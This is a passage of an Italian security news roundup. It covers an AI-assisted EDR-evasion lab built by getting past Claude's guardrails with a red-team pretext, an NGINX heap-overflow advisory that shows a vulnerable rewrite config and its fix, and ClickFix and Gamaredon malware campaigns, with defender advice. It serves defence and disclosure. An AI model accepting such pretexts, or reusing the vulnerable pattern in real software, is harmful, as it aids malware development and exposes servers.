Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?

La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori

L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.

Spcnet.it

2026-06-03 19:49:42

Windows 365 for Agents: Cloud PC per l’automazione AI in azienda

Cosa sono i Windows 365 for Agents?

Microsoft ha annunciato in public preview Windows 365 for Agents, una nuova offerta che estende la piattaforma Cloud PC per supportare l’automazione basata su agenti AI. L’idea di fondo è semplice ma potente: invece di assegnare un Cloud PC a un utente umano, lo si mette a disposizione di un agente AI che ne ha bisogno per completare un’attività che richiede l’interazione con un’interfaccia grafica — un browser, un’applicazione legacy, un portale web senza API.

Il servizio è attualmente disponibile in anteprima pubblica esclusivamente negli Stati Uniti, quindi prima di pianificare un’implementazione conviene verificare la disponibilità del tenant.

Perché un Cloud PC per un agente AI?

La domanda legittima è: perché un agente AI dovrebbe aver bisogno di un Cloud PC? Molti workflow di automazione si completano già tramite API, connettori o strumenti MCP. Ma esistono scenari reali in cui questo non è possibile:

• Applicazioni legacy che non espongono API
• Portali web che richiedono interazione manuale con elementi UI
• Processi che dipendono da software desktop non modernizzato
• Task che richiedono la gestione di file locali tramite interfaccia grafica

In questi casi, l’agente ha bisogno di un ambiente desktop reale su cui operare — e Windows 365 for Agents fornisce esattamente questo, con un modello di sicurezza, identità e governance pensato per le organizzazioni enterprise.

Architettura: pool e check-out/check-in

Il meccanismo centrale è il Cloud PC agent pool: un insieme condiviso di Cloud PC pre-provisionati con proprietà comuni (piano di billing, regione geografica, numero di istanze, immagine). Gli agenti non hanno un Cloud PC dedicato — usano un modello di check-out/check-in:

1. L’agente prenota un Cloud PC disponibile nel pool
2. Esegue il proprio task
3. Restituisce il Cloud PC al pool
4. Il Cloud PC viene resettato prima del riutilizzo

Microsoft descrive quattro piani operativi per l’architettura degli agenti:

• Computer-Create: provisioning e manutenzione dei pool
• Computer-Get: prenotazione e rilascio dei Cloud PC
• Computer-Do: invio di azioni (click, digitazione, ecc.)
• Computer-See / Computer-TakeControl: osservazione e controllo manuale da parte di un operatore umano

La superficie di controllo in-session usa il Model Context Protocol (MCP), lo stesso protocollo che permette agli agenti AI di scoprire e chiamare strumenti esterni in modo standardizzato.

Modello di sicurezza e identità

I Cloud PC for Agents sono Microsoft Entra-joined e Intune-enrolled. Ogni agente opera con una propria identità dedicata in Microsoft Entra — non viene riutilizzata o impersonata l’identità di un utente umano. Questo è un punto importante per la governance: ogni azione dell’agente è tracciabile e attribuibile a un’identità specifica.

Il supporto attuale alle Conditional Access per le identità agente include il controllo Block access, ma Microsoft chiarisce che non è ancora un sostituto completo per tutti i pattern di Conditional Access usati con gli utenti umani. Da tenere in considerazione prima di portare in produzione scenari critici.

Come configurare Windows 365 for Agents

Il processo di configurazione richiede alcuni prerequisiti:

• Una licenza Windows 365 o Agent 365 nel tenant
• Un piano di billing Windows 365 for Agents attivo
• Opzionalmente, utenti agente in Agent 365

Passo 1: creare la Billing Policy

Nel Microsoft 365 admin center, andare su Billing & usage → Billing policies. Selezionare una sottoscrizione Azure, un resource group e una regione, quindi abilitare Windows 365 for Agents sotto Pay-as-you-go services.

Passo 2: creare la Provisioning Policy per agenti

Nel Microsoft Intune admin center, navigare su Devices → Provision Cloud PCs → Provisioning policies (Agents) → Create policy. La procedura guidata richiede:

• Nome della policy
• Piano di billing
• Numero di Cloud PC always-available (da 1 a 200)
• Area geografica
• Agenti assegnati
• Immagine e impostazioni di lingua

Nota: i gruppi utente non sono attualmente supportati per l’assegnazione degli agenti. Il provisioning richiede circa 20-30 minuti.

Monitoraggio e costi

I Cloud PC for Agents sono visibili in Intune admin center sotto Devices → All devices. Si riconoscono dal prefisso CPCA- nel nome, dal modello Cloud PC for Agents e dal profilo di enrollment che riporta il nome della provisioning policy.

Per monitorare la capacità del pool: Devices → Provision Cloud PCs → Provisioning policies (Agents), selezionare una policy e verificare le sessioni attive e disponibili.

Sul fronte dei costi (area US):

• Pay-as-you-go: $0,40 per ora (arrotondato all’ora intera successiva)
• Always-available Cloud PC: $5 per Cloud PC al mese, in aggiunta al billing a consumo

I costi sono tracciabili in Azure Cost Management filtrando per il tag Windows365foragents.

Quando usarlo — e quando no

Windows 365 for Agents è utile principalmente quando un agente deve interagire con un’interfaccia utente: workflow basati su browser, applicazioni legacy senza API affidabili, o software desktop non modernizzato. Se invece il workflow può essere completato tramite API o connettori, Microsoft stesso raccomanda di usare Agent 365 direttamente, senza passare per Windows 365 for Agents.

Dato che la documentazione operativa è ancora limitata — soprattutto sui dettagli di troubleshooting avanzato — Microsoft consiglia di trattare le prime implementazioni come controlled pilot piuttosto che come rollout di produzione su larga scala.

Conclusione

Windows 365 for Agents rappresenta un’evoluzione logica della piattaforma Cloud PC verso il mondo dell’automazione agentiva. Per gli amministratori IT che gestiscono ambienti ibridi con applicazioni legacy, offre un percorso strutturato per integrare agenti AI senza sacrificare la governance di identità e sicurezza. Vale la pena monitorarne l’evoluzione, in particolare quando la preview si estenderà alle region europee.

Fonte: Windows 365 for Agents: Cloud PCs for AI automation — 4sysops

Windows 365 for Agents: Cloud PCs for AI automation – 4sysops

Windows 365 for Agents is a public preview service that gives AI agents Cloud PCs for running tasks in Windows environments. A Cloud PC is a virtual Windows des

^{IT Experts (4sysops)}

Spcnet.it

2026-06-03 13:45:34

CVE-2026-42945 (NGINX Rift): vulnerabilità critica attivamente sfruttata — aggiornare subito

Il 13 maggio 2026 il team di ricerca di Depthfirst ha reso pubblici i dettagli tecnici di CVE-2026-42945, una vulnerabilità critica nel modulo ngx_http_rewrite_module di NGINX, immediatamente ribattezzata NGINX Rift. Appena tre giorni dopo la divulgazione, i sistemi canary di VulnCheck hanno rilevato tentativi di sfruttamento attivo in the wild. Con oltre 5,7 milioni di istanze NGINX esposte su Internet che eseguono versioni potenzialmente vulnerabili, questo CVE richiede attenzione immediata da parte di tutti gli amministratori di sistema.

Cos’è e come funziona la vulnerabilità

CVE-2026-42945 è una vulnerabilità di memory corruption (heap-based buffer overflow) che risiede nel modulo di riscrittura URL di NGINX. Il problema nasce da un errore nel calcolo del buffer di destinazione quando vengono usate capture non nominati (i riferimenti $1, $2, ecc.) nelle direttive rewrite.

Il bug si manifesta quando sono presenti tutte e tre queste condizioni nella configurazione di NGINX:

1. Una direttiva rewrite con capture non nominati (es. $1, $2)
2. Una stringa di sostituzione che contiene un punto interrogativo (parametri GET)
3. Un’ulteriore direttiva rewrite, if, o set successiva

In questa configurazione, NGINX calcola la dimensione del buffer usando un insieme di assunzioni sull’escape dei caratteri, ma poi scrive nel buffer con assunzioni diverse. Il risultato è una scrittura oltre i limiti del buffer allocato — un classico heap overflow. La cosa particolarmente insidiosa è che i byte scritti oltre il buffer sono determinati dall’URI dell’attaccante, rendendo la corruzione controllabile e quindi molto più pericolosa di un semplice crash casuale.

Esempio di configurazione vulnerabile

Ecco un pattern di configurazione che espone l’istanza NGINX all’exploit:

server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione VULNERABILE: capture non nominato ($1) + "?" nella sostituzione
        rewrite ^/vecchio/(.*)$ /nuovo/?id=$1 last;
        
        # La presenza di questa seconda direttiva aggrava il problema
        rewrite ^/nuovo/(.*)$ /index.php?path=$1 last;
    }
}

La versione sicura usa capture nominati:

server {
    listen 80;
    server_name example.com;

    location / {
        # Configurazione SICURA: uso di capture nominati
        rewrite ^/vecchio/(?P<slug>.*)$ /nuovo/?id=${slug} last;
        rewrite ^/nuovo/(?P<path>.*)$ /index.php?path=${path} last;
    }
}

Impatto: DoS garantito, RCE possibile

L’impatto della vulnerabilità dipende dalla configurazione del sistema operativo:

• Denial of Service (DoS): ottenibile su qualsiasi configurazione NGINX vulnerabile. Richieste HTTP ripetute mantengono i worker process in un crash loop, degradando la disponibilità di tutti i virtual host serviti dall’istanza.
• Remote Code Execution (RCE): teoricamente possibile, ma richiede che l’Address Space Layout Randomization (ASLR) sia disabilitata sul server target. Su sistemi Linux moderni con ASLR abilitata (la configurazione predefinita), il RCE è significativamente più difficile da ottenere.

Il proof-of-concept pubblico rilasciato da Depthfirst dimostra il DoS in modo affidabile e ripetibile.

Versioni affette

La vulnerabilità colpisce:

• NGINX Open Source: versioni dalla 0.6.27 alla 1.30.0 inclusa
• NGINX Plus: versioni dalla R32 alla R36
• Prodotti F5 che incorporano NGINX: NGINX Ingress Controller, F5 WAF for NGINX, F5 DoS for NGINX e altri

Come verificare la propria esposizione

Prima di aggiornare, è utile capire se la propria configurazione è effettivamente sfruttabile. Non basta avere una versione vulnerabile: è necessario che sia presente il pattern di configurazione critico.

Cerca nelle tue configurazioni il pattern problematico:

# Cerca direttive rewrite con $1, $2, ecc. seguite da "?"
grep -rn 'rewrite.*\$[0-9].*?' /etc/nginx/

# Verifica la versione installata
nginx -v

Su sistemi Debian/Ubuntu puoi controllare se il pacchetto è già stato aggiornato:

apt-cache policy nginx
apt-cache policy nginx-full

Patch e mitigazioni disponibili

F5 ha già rilasciato le versioni corrette:

• NGINX Open Source 1.31.0 (versione mainline) e 1.30.1 (versione stable)
• NGINX Plus R36 P4 e R32 P6
• F5 WAF for NGINX v5.13.0
• F5 DoS for NGINX v4.9.0

Le principali distribuzioni Linux stanno rilasciando pacchetti aggiornati:

# Debian/Ubuntu
sudo apt update && sudo apt upgrade nginx

# AlmaLinux/RHEL/CentOS
sudo dnf update nginx

# Verifica la versione dopo l'aggiornamento
nginx -v && nginx -t

Se non è possibile aggiornare immediatamente, la mitigazione ufficiale di F5 consiste nel convertire tutti i capture non nominati in capture nominati nelle direttive rewrite, come mostrato nell’esempio di configurazione sicura sopra.

Considerazioni operative

Alcuni aspetti pratici da tenere a mente durante la risposta a questo incidente:

L’aggiornamento di NGINX su sistemi in produzione richiede tipicamente un graceful reload (nginx -s reload) che non interrompe le connessioni esistenti. Tuttavia, se si installa una nuova versione del pacchetto, potrebbe essere necessario un riavvio del processo:

# Reload della configurazione (zero-downtime)
nginx -s reload

# Oppure tramite systemd
systemctl reload nginx

# Riavvio completo (se necessario dopo aggiornamento del binario)
systemctl restart nginx

Per ambienti containerizzati con NGINX come base image, è necessario ricostruire e ridistribuire i container aggiornando la versione base dell’immagine. Se si usa NGINX Ingress Controller su Kubernetes, aggiornare il deployment del controller.

Conclusione

CVE-2026-42945 è una vulnerabilità seria che merita risposta rapida. Sebbene non tutte le istanze NGINX siano sfruttabili (dipende dalla configurazione delle direttive rewrite), il DoS è ottenibile su qualsiasi sistema vulnerabile con il pattern critico e lo sfruttamento attivo è già confermato. La patch è disponibile, la migrazione alla versione 1.30.1 o 1.31.0 è il percorso consigliato. In alternativa, la conversione ai capture nominati nelle configurazioni rewrite offre una mitigazione efficace nell’immediato.

Fonti: Help Net Security, Depthfirst Security Research, F5 Security Advisory K000161019, VulnCheck

Attackers are exploiting critical NGINX vulnerability (CVE-2026-42945) - Help Net Security

A critical NGINX vulnerability (CVE-2026-42945) that was disclosed last week is being exploited by attackers, according to VulnCheck.

^{Zeljka Zorz (Help Net Security)}

Spcnet.it

2026-06-03 13:38:15

Linux Network Bonding: configurare la ridondanza e il bilanciamento del carico delle interfacce di rete

Cos’è il Network Bonding su Linux?

Il network bonding (detto anche NIC bonding, link aggregation o NIC teaming) è una tecnica che consente di unire due o più interfacce di rete fisiche in un’unica interfaccia logica. Il risultato? Maggiore larghezza di banda, ridondanza contro i guasti, o entrambi — a seconda della modalità scelta.

Il kernel Linux gestisce tutto questo tramite il modulo bonding, disponibile di default in quasi tutte le distribuzioni moderne. L’interfaccia bond appare al sistema operativo e alle applicazioni come una singola NIC: tutto il traffico la attraversa in modo trasparente.

Importante: il bonding non è la stessa cosa del bridging. Un bridge connette segmenti di rete separati; il bonding aggrega più interfacce in una sola. Scopo diverso, configurazione diversa. Inoltre, le interfacce Wi-Fi generalmente non sono compatibili con il bonding — i driver wireless non supportano la modalità promiscua e la manipolazione dei MAC address che il bonding richiede. Usate esclusivamente NIC Ethernet cablate.

Le 7 modalità di bonding

La scelta della modalità è la decisione più importante nell’intera configurazione. Ecco una panoramica pratica:

Mode 0 — Round-Robin (balance-rr)

I pacchetti vengono trasmessi in sequenza su tutte le interfacce. Offre bilanciamento del carico e tolleranza ai guasti, ma richiede una configurazione di static link aggregation sullo switch. Senza di essa si verificano pacchetti fuori sequenza e prestazioni scadenti.

Mode 1 — Active-Backup

Una sola interfaccia è attiva alla volta. Se quella attiva cade, subentra immediatamente una di riserva. Non richiede configurazione sullo switch: è la modalità più sicura e compatibile. Usatela se il vostro obiettivo è la pura ridondanza.

Mode 4 — 802.3ad (LACP)

Link Aggregation dinamica secondo lo standard IEEE 802.3ad. Richiede uno switch gestito con LACP abilitato. È la modalità più usata in ambienti enterprise: se il vostro switch lo supporta, questa è la scelta per la produzione.

Mode 6 — Balance-ALB

Bilancia sia il traffico in uscita sia quello in entrata tramite negoziazione ARP. Non richiede configurazione sullo switch: ottima scelta per home lab o server senza switch gestiti.

Per home lab senza switch gestito: Mode 1 (failover) o Mode 6 (load balancing). Per server di produzione con switch gestito: Mode 4 (LACP).

Prerequisiti

Prima di iniziare, verificate di avere:

• Due o più NIC fisiche (o virtuali, in una VM)
• Accesso root o sudo
• Il modulo bonding del kernel (incluso nella maggior parte delle distribuzioni)

Verificate che il modulo sia disponibile:

modinfo bonding

Caricatelo immediatamente se necessario:

sudo modprobe bonding

Identificate le vostre interfacce prima di toccare qualsiasi configurazione:

ip link show

Sui sistemi moderni vedrete nomi come enp3s0, enp4s0 oppure eth0, eth1. Annotateli.

Metodo 1: NetworkManager con nmcli (desktop e server moderni)

Se usate Ubuntu, Fedora, Debian con NetworkManager o qualsiasi distribuzione desktop, questo è l’approccio più diretto. NetworkManager supporta il bonding in modo nativo da anni.

Creare prima l’interfaccia bond:

sudo nmcli con add type bond con-name bond0 ifname bond0 bond.options "mode=active-backup,miimon=100"

Aggiungere le interfacce fisiche come slave del bond:

sudo nmcli con add type ethernet slave-type bond con-name bond0-slave1 ifname enp3s0 master bond0
sudo nmcli con add type ethernet slave-type bond con-name bond0-slave2 ifname enp4s0 master bond0

Assegnare un indirizzo IP statico al bond:

sudo nmcli con modify bond0 ipv4.addresses 192.168.1.100/24 ipv4.gateway 192.168.1.1 ipv4.dns 1.1.1.1 ipv4.method manual

Oppure usare DHCP:

sudo nmcli con modify bond0 ipv4.method auto

Attivare la connessione:

sudo nmcli con up bond0

Verificare che il bond funzioni:

cat /proc/net/bonding/bond0

L’output mostrerà l’interfaccia slave attiva, lo stato MII, velocità e duplex di ogni NIC. Questo file è il vostro migliore alleato per il troubleshooting.

Metodo 2: systemd-networkd (server e installazioni minimali)

Per server senza NetworkManager, systemd-networkd gestisce il bonding in modo pulito. Adatto a Ubuntu Server, Debian minimale e configurazioni snelle.

Creare il file netdev per il bond:

sudo nano /etc/systemd/network/10-bond0.netdev

[NetDev]
Name=bond0
Kind=bond

[Bond]
Mode=active-backup
MIIMonitorSec=100ms
UpDelaySec=200ms
DownDelaySec=200ms

Configurare la rete per l’interfaccia bond:

sudo nano /etc/systemd/network/20-bond0.network

[Match]
Name=bond0

[Network]
DHCP=yes

Creare un file per ogni interfaccia slave (uno per NIC):

sudo nano /etc/systemd/network/30-bond0-slave1.network

[Match]
Name=enp3s0

[Network]
Bond=bond0

Riavviare il servizio e verificare:

sudo systemctl restart systemd-networkd
cat /proc/net/bonding/bond0

Metodo 3: Netplan (Ubuntu Server 18.04+)

Ubuntu Server usa Netplan come layer di configurazione di rete predefinito. Modificate il file di configurazione (di solito /etc/netplan/01-netcfg.yaml):

network:
  version: 2
  renderer: networkd
  ethernets:
    enp3s0:
      dhcp4: no
    enp4s0:
      dhcp4: no
  bonds:
    bond0:
      interfaces:
        - enp3s0
        - enp4s0
      addresses:
        - 192.168.1.100/24
      routes:
        - to: default
          via: 192.168.1.1
      nameservers:
        addresses:
          - 1.1.1.1
      parameters:
        mode: active-backup
        mii-monitor-interval: 100
        primary: enp3s0

Applicare la configurazione:

sudo netplan apply

Consiglio: su macchine remote, usate sudo netplan try prima di applicare definitivamente. Il comando applica la configurazione temporaneamente e la ripristina automaticamente dopo 120 secondi se non viene confermata — una rete di sicurezza preziosa.

Test del failover

Una volta configurato il bond, testate che il failover funzioni davvero. Con il bond attivo, simulate il guasto di una NIC scollegando fisicamente il cavo o disabilitando l’interfaccia via software:

sudo ip link set enp3s0 down

Il traffico dovrebbe continuare a fluire sull’interfaccia secondaria senza interruzioni percepibili. Verificate:

cat /proc/net/bonding/bond0

Il campo Currently Active Slave mostrerà la NIC di backup ora attiva.

Comandi utili per il monitoraggio

# Stato dettagliato del bond
cat /proc/net/bonding/bond0

# Statistiche di traffico per interfaccia
ip -s link show bond0

# Link failure count per slave
grep -A2 "Slave Interface" /proc/net/bonding/bond0

Problemi comuni e soluzioni

L’interfaccia bond non ha IP dopo il reboot: verificate che le connessioni NetworkManager siano impostate su autoconnect, oppure che i file systemd-networkd siano nel percorso corretto (/etc/systemd/network/).

Un solo slave risulta attivo anche in modalità round-robin o LACP: lo switch non è configurato correttamente per il LAG. Controllate la configurazione delle porte sullo switch.

I ping drop durano più del previsto durante il failover: aumentate il valore di UpDelaySec/DownDelaySec — un valore troppo basso può causare flapping. Valori tipici: 200ms per il down, 0ms per l’up.

Conclusione

Il network bonding su Linux è una soluzione matura, stabile e sorprendentemente semplice da configurare su distribuzioni moderne. Che vogliate ridondanza per un server critico o maggiore throughput per trasferimenti locali, i tre metodi descritti — nmcli, systemd-networkd e Netplan — coprono la quasi totalità degli scenari reali. Iniziate con Mode 1 (active-backup) se siete alle prime armi: non richiede switch gestito ed entra in produzione in pochi minuti.

Fonte: Linux Network Bonding: Combine Network Interfaces — LinuxBlog.io

Linux Network Bonding: Combine Network Interfaces | LinuxBlog.io

Two network interfaces are better than one. With Linux network bonding (also known as NIC bonding or link aggregation), you can combine multiple NICs into

^{Hayden James (LinuxBlog.io)}

(in)sicurezza digitale

2026-06-03 12:48:12

DriveSurge e il sistema zTDS: migliaia di siti dirottati per distribuire ClickFix e FakeUpdates su Windows e macOS

Si parla di:
Toggle

Un gruppo di cybercriminali tracciato come DriveSurge ha costruito un’infrastruttura di distribuzione malware su scala industriale, dirottando migliaia di siti web legittimi per veicolare campagne ClickFix e FakeUpdates. Dietro l’operazione si cela il sistema di distribuzione del traffico zTDS, che seleziona dinamicamente la trappola più efficace per ciascuna vittima. Il target: qualunque utente Windows o macOS che visiti un sito compromesso.

Chi è DriveSurge e cosa fa zTDS

DriveSurge è un threat actor di tipo malware-as-a-service specializzato nella distribuzione massiva di payload attraverso siti web compromessi. La sua infrastruttura operativa si regge sul Traffic Distribution System zTDS, un sistema sofisticato che analizza i visitatori in tempo reale — sistema operativo, geolocalizzazione, browser, orario di accesso — e li reindirizza verso la trappola ottimale, scelta tra due filoni principali: ClickFix o FakeUpdates.

I ricercatori di SilentPush hanno documentato la campagna, rilevando che DriveSurge gestisce attivamente una rete di traffic broker che monetizzano il traffico dai siti compromessi indirizzandolo verso le campagne di distribuzione. Si tratta di un modello di business criminale consolidato: chi compromette i siti raccoglie il traffico e lo vende; DriveSurge compra quel traffico e lo converte in infezioni.

ClickFix: il trucco psicologico che bypassa l’antivirus

La tecnica ClickFix si basa su un principio di social engineering brutalmente efficace: mostrare all’utente un messaggio di errore fasullo — tipicamente un avviso del browser o di un’applicazione — che invita a “risolvere il problema” incollando ed eseguendo manualmente un comando nella console PowerShell o nel terminale.

Il vantaggio per gli attaccanti è che l’utente diventa il vettore di infezione: non serve exploit, non serve privilege escalation — è la vittima stessa a lanciare il payload con i propri privilegi. Il comando incollato è solitamente una lunga stringa offuscata che scarica ed esegue il malware direttamente dalla memoria, senza scrivere file su disco che possano essere rilevati dall’antivirus.

Nella versione DriveSurge, i lure ClickFix impersonano avvisi di Google Chrome, Microsoft Edge o applicazioni enterprise, con messaggi localizzati nella lingua del visitatore. Il comando finale tipicamente esegue uno script PowerShell che:

• Scarica un payload cifrato da un dominio compromesso o da un CDN legittimo abusato
• Lo decifra in memoria ed esegue il dropper
• Installa un infostealer (Lumma Stealer, Vidar, o varianti custom) o un RAT
• Aggiunge persistenza tramite scheduled task o chiavi di registro

FakeUpdates: il classico che non tramonta

Il secondo filone, FakeUpdates (noto anche come SocGholish), simula un prompt di aggiornamento del browser: una pagina sovrapposta al sito legittimo mostra un finto avviso di aggiornamento critico per Chrome, Firefox o Edge, invitando a scaricare un file .zip o .js che contiene il dropper.

La novità documentata da SilentPush nella campagna DriveSurge è l’estensione a macOS: oltre ai target Windows classici, il sistema zTDS identifica i visitatori Apple e li reindirizza verso una variante della campagna che distribuisce script JavaScript malevoli ottimizzati per l’ecosistema macOS, scaricando payload .dmg o .pkg firmati con certificati sviluppatore ottenuti fraudolentemente.

Infrastruttura e scala dell’operazione

La campagna sfrutta migliaia di siti web WordPress, Joomla e Magento compromessi come stager di primo livello: il codice iniettato nel sito vittima è minimo e difficile da rilevare — spesso poche righe di JavaScript offuscato aggiunte a file tema o plugin — che si limita a interrogare l’infrastruttura zTDS per decidere se mostrare o meno il lure al visitatore.

Questa architettura “many-to-one” offre a DriveSurge una resilienza elevata: anche se decine di siti vengono ripuliti, l’infrastruttura centrale rimane intatta e la campagna continua su altri domini. Il sistema zTDS applica anche un meccanismo di frequency capping: lo stesso indirizzo IP non riceve il lure più di una volta in una finestra temporale definita, riducendo il rischio che ricercatori di sicurezza o sistemi automatizzati di crawling identifichino i siti compromessi.

Implicazioni per i difensori

La campagna DriveSurge richiede un approccio difensivo stratificato, poiché aggira molti controlli tradizionali:

• Blocco delle esecuzioni PowerShell da clipboard: configurare Windows Defender Application Control (WDAC) o AppLocker per limitare l’esecuzione di PowerShell non firmato lanciato interattivamente riduce drasticamente l’efficacia di ClickFix.
• Proxy DNS con blocco dei redirect sospetti: i sistemi zTDS usano catene di redirect multi-hop; una soluzione DNS filtering (Cisco Umbrella, Cloudflare Gateway) che blocchi i redirect a dominio nuovo può interrompere la catena prima che la vittima veda il lure.
• Awareness degli utenti: il vettore ClickFix è efficace perché convincente — investire in training specifico su “nessun sito legittimo ti chiede mai di aprire PowerShell e incollare comandi” ha un ROI alto.
• Monitoraggio dei processi figli di browser: un browser che lancia powershell.exe, cmd.exe o wscript.exe come processo figlio è un segnale forte di ClickFix in esecuzione — aggiungere questa detection nelle regole EDR.
• Hardening dei CMS: verificare regolarmente l’integrità dei file JavaScript dei propri siti WordPress/Joomla/Magento — i propri siti potrebbero essere già usati come stager di DriveSurge a insaputa degli amministratori.

DriveSurge dimostra che ClickFix e FakeUpdates non sono tecniche in declino: l’adozione di un TDS sofisticato come zTDS e l’espansione a macOS segnalano un investimento operativo continuo e una struttura criminale in crescita. La semplicità del vettore — fare in modo che sia l’utente a eseguire il malware — lo rende uno degli attacchi più difficili da bloccare con soli controlli tecnici.

(in)sicurezza digitale

2026-06-03 12:47:05

Gamaredon sfrutta CVE-2025-8088 in WinRAR per distribuire GammaWorm e GammaSteel contro l’Ucraina

Si parla di:
Toggle

Il gruppo russo Gamaredon, legato all’FSB (Federalnaya Sluzhba Bezopasnosti), ha intensificato le sue operazioni contro l’Ucraina sfruttando una vulnerabilità recentemente scoperta in WinRAR per distribuire una sofisticata catena di malware multi-stadio. La campagna, osservata dai ricercatori di Sekoia nel gennaio 2026, utilizza una sequenza di payload denominati GammaPhish, GammaLoad, GammaWorm e GammaSteel — strumenti progettati per persistenza a lungo termine, propagazione laterale e esfiltrazione massiva di dati sensibili.

La vulnerabilità sfruttata: CVE-2025-8088

Il vettore iniziale di compromissione è la CVE-2025-8088, un path traversal flaw in WinRAR che consente l’estrazione di file in percorsi arbitrari del filesystem, incluse directory di avvio e cartelle di sistema. L’exploit si concretizza attraverso archivi RAR appositamente costruiti che, all’apertura, rilasciano silenziosamente un file HTA (HTML Application) denominato GammaPhish. La scelta di WinRAR come vettore non è casuale: il software è praticamente onnipresente negli ambienti governativi e militari ucraini, e Gamaredon ha già in passato sfruttato archivi RAR malevoli come vettore principale delle proprie campagne di spear-phishing.

La catena d’infezione: da GammaPhish a GammaSteel

Una volta eseguito, GammaPhish lancia GammaLoad, un downloader scritto in VBScript con tre funzioni primarie: fingerprinting del sistema host, aggiornamento della configurazione di rete nel registro di Windows tramite dead drop resolver (DDR), e recupero ed esecuzione di payload VBScript aggiuntivi dai server C2 dell’attaccante.

Da GammaLoad si biforcano i principali payload operativi. Il primo è GammaWorm, un worm VBScript progettato per garantire persistenza e propagazione laterale: stabilisce scheduled task come meccanismo di persistenza, poi individua le condivisioni di rete e i drive USB connessi al sistema infetto, ne nasconde le directory legittime e le sostituisce con file LNK (Windows Shortcut) malevoli. Quando una vittima nella rete clicca su uno di questi shortcut, viene scaricato ed eseguito codice arbitrario dal C2. Per risolvere l’indirizzo del server di comando, GammaWorm effettua una GET request tramite curl verso un canale Telegram pubblico hard-coded, sfruttando la legittimità della piattaforma per evadere i controlli di rete. I moduli core del worm vengono nascosti tramite NTFS Alternate Data Streams (ADS), rendendoli invisibili ai tool standard di ispezione del filesystem.

Il secondo payload principale è GammaSteel, un infostealer modulare che cattura file corrispondenti a specifiche estensioni (documenti Office, PDF, archivi, configurazioni) ed esfiltrate verso un bucket Amazon Web Services S3 controllato dagli attaccanti, con un server di fallback alternativo. La flessibilità dell’architettura permette anche la distribuzione di GammaWipe (GamaWiper), un componente distruttivo attivabile selettivamente a seconda degli obiettivi operativi.

Chi è Gamaredon e perché rappresenta una minaccia persistente

Gamaredon (noto anche come Primitive Bear, ACTINIUM, Armageddon, UAC-0010) è un APT attribuito ufficialmente all’FSB russo, specificamente al suo Centro 18 operante dalla Crimea. Attivo dal 2013, il gruppo si concentra quasi esclusivamente su target ucraini — enti governativi, militari, forze dell’ordine, organizzazioni del settore energetico — con campagne quasi ininterrotte che combinano spear-phishing tramite allegati RAR malevoli, malware custom VBScript e PowerShell, e tecniche di living-off-the-land. A differenza di gruppi più furtivi come APT29 o Turla, Gamaredon privilegia volume e persistenza, aggiornando costantemente i propri tool per sfuggire al rilevamento. L’analisi di Sekoia descrive questa architettura come “resiliente, massiva e altamente offuscata”: la capacità di aggiornare le configurazioni on the fly tramite Telegram DDR rende estremamente difficile bloccare le comunicazioni C2.

Campagne parallele: il fronte ucraino sotto attacco multiplo

La campagna Gamaredon si inserisce in un panorama di minacce concorrenti. UAC-0184 continua a colpire obiettivi militari ucraini con lure LNK che distribuiscono PassMark BurnInTest come carrier per payload malevoli. UAC-0247 (ex UAC-0244) ha preso di mira gli operatori di droni FPV, distribuendo dropper HTA via archivi ZIP con backdoor a reverse shell. Separatamente, ricercatori di ExaTrack hanno documentato l’evoluzione di PixyNetLoader, attribuito ad APT28, che sfrutta CVE-2026-21509 su Microsoft Office per rilasciare un implant COVENANT Grunt — varianti rilevate fino al 15 aprile 2026.

Due righe per i difensori

• Patching immediato di WinRAR all’ultima versione disponibile (CVE-2025-8088 è patchata)
• Blocco esecuzione HTA tramite Group Policy Object (GPO) e regole AppLocker
• Restrizione VBScript: disabilitare wscript.exe e cscript.exe dove non necessario
• Monitoraggio NTFS ADS su endpoint critici con Sysmon EventID 15
• Regole SIEM/YARA per curl verso endpoint Telegram in contesti non aziendali
• Blocco in uscita verso bucket AWS S3 sconosciuti e monitoraggio DNS per endpoint Telegram anomali
• Segmentazione USB: policy di blocco o controllo accessi ai supporti rimovibili

Indicatori di compromissione (IoC)

## Tecniche MITRE ATT&CK
T1566.001 – Spearphishing Attachment (archivi RAR malevoli)
